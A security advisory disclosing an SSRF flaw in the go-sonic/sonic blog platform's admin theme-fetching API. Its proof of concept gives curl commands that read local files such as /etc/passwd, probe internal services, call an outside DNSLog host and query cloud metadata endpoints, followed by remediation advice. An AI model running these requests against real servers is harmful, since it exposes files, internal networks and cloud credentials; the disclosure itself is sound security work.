Server-Side Request Forgery (SSRF) Vulnerability in go-sonic/sonic
Server-Side Request Forgery (SSRF) Vulnerability in go-sonic/sonic#
BUG_Author: Security Researcher
Affected Version: go-sonic/sonic ≤ v1.1.4 (all versions)
Vendor: go-sonic GitHub Repository
Software: Sonic - A Go Blogging Platform
Vulnerability Files:
service/theme/git_fetcher.gohandler/admin/theme.go
Description:#
A Server-Side Request Forgery (SSRF) vulnerability exists in the theme fetching functionality of go-sonic/sonic blogging platform. The vulnerability allows an authenticated administrator to make the server send HTTP requests to arbitrary internal or external URLs, and read local files via the file:// protocol.
SSRF via Theme Fetching API:
In the file
service/theme/git_fetcher.go, theFetchThemefunction accepts a user-supplied URL and directly passes it to thegit.PlainClonefunction without any validation or sanitization.The vulnerable code:
func (g gitThemeFetcherImpl) FetchTheme(ctx context.Context, file interface{}) (*dto.ThemeProperty, error) {
gitURL := file.(string) // User-controlled input
// ...
_, err := git.PlainClone(filepath.Join(tempDir, themeDirName), false, &git.CloneOptions{
URL: gitURL, // Directly used without validation
})
Exploitation Vectors:
Internal Network Scanning: Attacker can probe internal services by specifying internal IP addresses
Local File Access: Using
file://protocol to access local files on the serverCloud Metadata Access: In cloud environments (AWS/GCP/Azure), attacker can access instance metadata endpoints
DNS-based Detection: Attacker can use DNSLog services to confirm outbound requests
Prerequisites:
Valid administrator credentials are required
The vulnerable endpoint requires authentication via
Admin-Authorizationheader
Affected Endpoint:#
POST /api/admin/themes/fetching?uri={ATTACKER_CONTROLLED_URL}Required Headers:
Admin-Authorization: <admin_access_token>Proof of Concept:#
Step 1: Obtain Administrator Access Token#
curl -s -X POST http://<target-ip>:8090/api/admin/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"<password>"}'
Response:
{
"status": 200,
"message": "OK",
"data": {
"access_token": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"expired_in": 86400,
"refresh_token": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}
}
Step 2: SSRF - Local File Access (file:// protocol)#
TOKEN="<access_token_from_step1>"
# Attempt to read /etc/passwd
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=file:///etc/passwd" \
-H "Admin-Authorization: $TOKEN"
Response (File Exists):
{
"status": 400,
"message": "unknown error: fatal: invalid gitfile format: /etc/passwd",
"data": null
}
Response (File Does Not Exist):
{
"status": 400,
"message": "repository not found",
"data": null
}
The different error messages confirm that the server is accessing the specified file paths.
Step 3: SSRF - Internal Network Probing (http:// protocol)#
# Probe internal service on port 6379 (Redis)
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://127.0.0.1:6379/" \
-H "Admin-Authorization: $TOKEN"
# Probe internal network
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://192.168.1.1:8080/" \
-H "Admin-Authorization: $TOKEN"
Step 4: SSRF - DNSLog Verification#
# Using DNSLog service to confirm outbound requests
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://<your-subdomain>.dnslog.cn/" \
-H "Admin-Authorization: $TOKEN"
Check your DNSLog platform - if you see a DNS query record, the SSRF is confirmed.
Step 5: SSRF - Cloud Metadata Access (Cloud Environments)#
# AWS Instance Metadata
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://169.254.169.254/latest/meta-data/" \
-H "Admin-Authorization: $TOKEN"
# GCP Metadata
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://metadata.google.internal/computeMetadata/v1/" \
-H "Admin-Authorization: $TOKEN"
Server Log Evidence:#
The server logs clearly show the SSRF requests being processed:
2025-12-19T15:58:46.163+0800 ERROR handler/server.go:232 handler error
{"error": "unknown error: fatal: invalid gitfile format: /etc/hostname"}
2025-12-19T15:59:44.896+0800 ERROR handler/server.go:232 handler error
{"error": "Get \"http://127.0.0.1:7777/SSRF_PROOF/info/refs?service=git-upload-pack\":
dial tcp 127.0.0.1:7777: connect: connection refused"}
This confirms the server is making requests to the attacker-specified URLs.
Affected Versions:#
All versions of go-sonic/sonic up to and including v1.1.4
Tested on: v1.1.4 (latest release, December 2025)
Remediation:#
URL Validation: Implement strict URL validation to allow only trusted domains
func validateThemeURL(url string) error {
allowedHosts := []string{"github.com", "gitlab.com"}
// Validate URL against whitelist
}Protocol Restriction: Block
file://and other dangerous protocolsif strings.HasPrefix(url, "file://") {
return errors.New("file:// protocol not allowed")
}Private IP Blocking: Block requests to internal IP ranges
// Block 10.x.x.x, 172.16-31.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.xDNS Rebinding Protection: Resolve DNS before making request and validate IP